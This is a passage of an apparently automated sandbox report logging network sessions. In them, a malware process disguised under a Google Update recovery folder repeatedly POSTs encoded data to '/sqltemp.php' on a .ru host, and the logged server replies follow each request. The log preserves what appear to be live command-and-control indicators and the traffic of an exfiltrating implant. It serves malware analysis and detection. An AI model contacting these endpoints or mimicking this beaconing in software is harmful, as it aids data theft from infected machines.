Jan 1, 2025 16:02:32.580070019 CET	1124	OUT	Data Raw: 53 54 5f 52 54 5c 54 56 58 56 52 59 56 5a 59 56 5b 5d 54 5e 55 55 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: ST_RT\TVXVRYVZYV[]T^UUP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-'Y:4?*'.$.9!T!-$Y+9<). 2<E%?'S-:&Y.,Y--
Jan 1, 2025 16:02:32.677578926 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:32.945198059 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kkf1I1Zx1Dfg4aM13eZ0DyW%2FrTADTg0k4bM3HbSmQEVIDarg4f2HiqKjlCRUqNfeJdwzIin3PdZ5DJy04Lx2akOcbPjoy2DI6uqwXbjWixKdz0H79A8j4odppsvN%2BMpzBn2szvEC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36415ff72efa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4560&min_rtt=1965&rtt_var=5928&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=64235&cwnd=164&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	62525	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:33.190606117 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	62528	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:33.444891930 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:33.797719002 CET	1964	OUT	Data Raw: 53 50 5a 56 54 50 54 5c 58 56 52 59 56 5e 59 53 5b 5e 54 51 55 58 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SPZVTPT\XVRYV^YS[^TQUXP\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-'[4]$4.9.7=$Z<94=-;42<*(%A&(-&Y.,Y-
Jan 1, 2025 16:02:33.899545908 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:34.165894985 CET	959	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OevC1TkzlXRKJyU%2F3H1y%2B%2B9kXdw3T4cF71Um4%2F7MZ8e0STXrORgfY4K7Dtd54mEyj%2FMFbkOxYg4sx4YoZboEm1YBFhuDWm4ZccNduHWj0T3DJwzP%2BZhvMQBBJLMeLF8EPTp67trx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3641d9f36c425-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3966&min_rtt=1490&rtt_var=5511&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=68538&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 51 2a 13 04 55 24 21 2b 02 3c 3d 06 0c 32 2d 36 58 2b 38 00 1a 27 3e 0d 5a 3d 29 20 04 21 05 3d 5f 25 28 01 06 20 3d 30 07 27 1e 2b 59 05 1c 23 1d 21 3f 24 5e 3d 04 27 5d 31 59 35 5a 27 10 0a 14 3f 3b 28 1e 23 05 30 03 24 3d 15 05 3d 03 30 57 24 2f 37 5b 2f 3c 32 0b 27 3a 2c 54 00 11 25 09 27 08 28 5f 20 09 05 03 35 32 36 03 25 1a 2a 1b 26 3c 02 09 23 29 22 15 26 22 06 02 22 55 2e 5a 31 15 0c 04 34 03 27 51 28 3e 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%QU$!+<=2-6X+8'>Z=) !=_%( =0'+Y#!?$^=']1Y5Z'?;(#0$==0W$/7[/<2':,T%'(_ 526%&<#)"&""U.Z14'Q(>%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	62529	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:33.568968058 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:33.922678947 CET	1124	OUT	Data Raw: 53 50 5a 50 51 5b 54 50 58 56 52 59 56 5a 59 56 5b 52 54 5d 55 54 50 55 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SPZPQ[TPXVRYVZYV[RT]UTPUZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-0:#<=_33E/:=W7$_*:7=.( T7?;=C%?/-:&Y.,Y--
Jan 1, 2025 16:02:34.014158010 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:34.283144951 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SBWXnbrJZufsxP%2BBboKhahFZ0n3%2FzEVju3W3fZjWkYEsJhJ2SOXL1zeT1WatHoGI%2FP1RXoIwvhCdQqtJI5HnmOWFMyQPUkUFxmVY3PQS2pWwcv7XmmzG9bekG9C8z%2FK7HQdzEJVu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3641e4a0d728f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2105&min_rtt=2004&rtt_var=955&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=517914&cwnd=148&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	62535	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:34.410774946 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:34.766614914 CET	1124	OUT	Data Raw: 56 52 5f 54 54 51 54 56 58 56 52 59 56 5d 59 55 5b 5f 54 5c 55 58 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VR_TTQTVXVRYV]YU[_T\UXPXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y&?5X ?*3>3@;%#^?8)=#!1<+;1<$.&Y.,Y-1
Jan 1, 2025 16:02:34.854932070 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:35.119611025 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ARD4OnDXoQsgscoWt6slAf0WYCaiD0uDPEYZYKwgJQCgY5yRllvAtw0OkrWxrJ35PYSIGGAhHTiH5xEr1E%2F%2Bey96pICFA46SA2p7rAHfAE1Cs4eUq69w0is1N%2FTBzdoIsPNZ4w%2BK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364238fe08cb1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2395&min_rtt=1967&rtt_var=1593&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=270821&cwnd=185&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	62541	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:35.263842106 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:35.637654066 CET	1124	OUT	Data Raw: 56 53 5f 55 54 51 54 54 58 56 52 59 56 5f 59 56 5b 52 54 59 55 5b 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VS_UTQTTXVRYV_YV[RTYU[P^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.3,>7<='=;C,)T#+*'=-#7T<<&/;U9:&Y.,Y-9
Jan 1, 2025 16:02:35.736032009 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:36.010420084 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rB4E9myUuiXPkWhEpj%2BZPPnuXp4agL%2BJFltbuYhCiGh0Y%2BzTEbbgbLfdOu4k2drjJj29LKcO2whRmgyhYPBgfsOTKEQ9BoiMbPMXD%2F%2Bx5V7zk8YdBSzRjOrIki5ZwE6eKKrwol71"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364290f316a5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3305&min_rtt=1696&rtt_var=3855&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=100171&cwnd=187&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	62547	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:36.147686958 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:36.500844002 CET	1124	OUT	Data Raw: 53 53 5a 54 51 5c 51 56 58 56 52 59 56 51 59 53 5b 5f 54 51 55 5d 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SSZTQ\QVXVRYVQYS[_TQU]PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$=]#X3 ;943<9+ Y!2 <85D2,*&Y.,Y-
Jan 1, 2025 16:02:36.602008104 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:36.862668037 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DFJeKBO2LDd2FnP%2FPP9eQlRraKsuI9uwlsxpYR3imbhbTZ%2BovmgdYLMW5e8cXIwhzGnf%2BwrRRqxu7FC5xXfTzh7hl1LMEM4gA9JUxpTYm0Hov1hTxLa%2F48%2FWoKQWFNrSMm49nnZb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3642e79b37c9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10189&min_rtt=2039&rtt_var=17065&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=21712&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	62556	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:36.991485119 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:37.344645977 CET	1124	OUT	Data Raw: 56 54 5a 51 54 51 51 56 58 56 52 59 56 5d 59 5e 5b 5a 54 5a 55 5d 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VTZQTQQVXVRYV]Y^[ZTZU]P\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S._0)Y4>$8/\97[8Z(:'=. 2?(!%//.&Y.,Y-1
Jan 1, 2025 16:02:37.445312977 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:37.715370893 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9oNFOT8e%2BoR%2Bj9aOirVtyuSBcBwd2UJGwZlM5F3haShxQt4MxHZMSrWETWmNIis8Q1oXnqPWCO11RjFA2ayQQJpgv1pIUEs5S1kGqBahHBjS3vFJR2KeXUVtXQ3Xw%2FB8CBYwbx8x"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36433ba1e4252-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8039&min_rtt=1726&rtt_var=13273&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=27952&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	62562	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:37.850720882 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:38.204386950 CET	1124	OUT	Data Raw: 53 57 5f 53 51 5d 54 55 58 56 52 59 56 50 59 54 5b 5c 54 50 55 5e 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SW_SQ]TUXVRYVPYT[\TPU^PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.&/#2$.@/:>!.3+:#= ] ! *8)C2+U-:&Y.,Y-
Jan 1, 2025 16:02:38.297251940 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:38.556778908 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xJpKGtL0Uh3BCWSfTEQuEjsP5F96CDGIgY%2FNPCkMTAszOm%2FIJnyD5kpkDYl72OIhKfi%2F1YsbzUuDsXCTwTvIFTcfNlH7ws0X4MfDyg67HRSONUup8c6OVBSHS67mX8%2BYcauE%2Fn4S"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364391e425e7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2913&min_rtt=1744&rtt_var=2992&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=131578&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	62570	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:38.694333076 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:39.047736883 CET	1124	OUT	Data Raw: 53 53 5f 5c 51 5f 54 53 58 56 52 59 56 50 59 56 5b 53 54 59 55 5f 50 5d 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SS_\Q_TSXVRYVPYV[STYU_P]Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-&,>7X0#E827>'(9R=8Z#"/[<-B&#9&Y.,Y-
Jan 1, 2025 16:02:39.136064053 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	62571	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:39.179245949 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1948 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:39.532218933 CET	1948	OUT	Data Raw: 56 51 5a 56 54 58 54 50 58 56 52 59 56 59 59 50 5b 5b 54 5b 55 5a 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VQZVTXTPXVRYVYYP[[T[UZPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.'?)Y4<-_%>4.:)U4,Y?:8>X?7?Y<5E%,<-&Y.,Y-
Jan 1, 2025 16:02:39.641855955 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:39.931041956 CET	954	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vXPBReH2bN0Rzr2DaaZMpmIEXLvDPI9q%2Bh2VZqEqSvWJt4F%2Bys9IY0kroyDhH4LKujMKuvux9OUqcAAF9l4L3b6JShVZjc5DdgMOUDSsEW9r1VQxY9wUClqArFUuKiwfKaB%2FdFDr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364417e1b0f39-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3187&min_rtt=1735&rtt_var=3555&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2250&delivery_rate=109330&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 26 09 29 2d 0f 08 31 0c 38 5d 28 3d 2c 0d 27 2e 22 58 2b 5e 3a 5d 33 07 24 04 3e 00 33 5d 36 12 2d 5b 31 38 38 13 23 2d 34 00 24 34 2b 59 05 1c 23 18 36 2f 28 11 28 2d 28 01 32 3c 31 58 27 2e 0e 5d 3c 06 2b 0b 20 2b 23 5b 30 3d 16 5d 3d 39 30 57 24 3f 3f 5b 39 11 08 0a 27 00 2c 54 00 11 26 57 27 1f 1a 59 34 19 24 5c 22 1f 31 12 26 0a 29 08 32 3f 23 18 20 39 08 5f 25 0b 20 00 23 33 2a 5f 26 38 2d 5a 20 2e 34 0b 2a 04 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98&)-18](=,'."X+^:]3$>3]6-[188#-4$4+Y#6/((-(2<1X'.]<+ +#[0=]=90W$??[9',T&W'Y4$\"1&)2?# 9_% #3_&8-Z .4%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	62575	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
